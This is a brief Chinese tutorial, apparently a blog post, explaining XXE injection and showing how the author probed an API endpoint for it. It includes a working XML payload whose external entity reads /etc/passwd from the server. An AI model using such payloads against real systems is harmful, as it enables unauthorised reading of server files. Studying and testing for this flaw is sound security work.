XXE 外部实体注入漏洞

XXE -"xml external entity injection"既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

实战

XXE漏洞挖掘

1.xml是什么可以查看https://www.w3school.com.cn/x.asp网站哈，里面写的很详细，全栈攻城狮必备网站，基础就不过多介绍了，因为实在太多了，一篇文章写不下。

2.直接实战如何挖掘，这里有一个api接口，随便提交点啥。没反应，哈哈习惯了，直接跳过哈。

3.构造一个payload，直接输入即可，发现可以执行

<?xml version = "1.0"?><!DOCTYPE note [<!ENTITY hacker "ESHLkangi">]><name>&hacker;</name>

4.再次构造一个payload来读取任意文件，可以直接读取成功。

<?xml version="1.0"  encoding="UTF-8"?><!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><name>&xxe;</name>

5.总结，各位如果想要搭建测试环境建议使用下面文章中的方法，其他方法试了很多都无法复现该漏洞。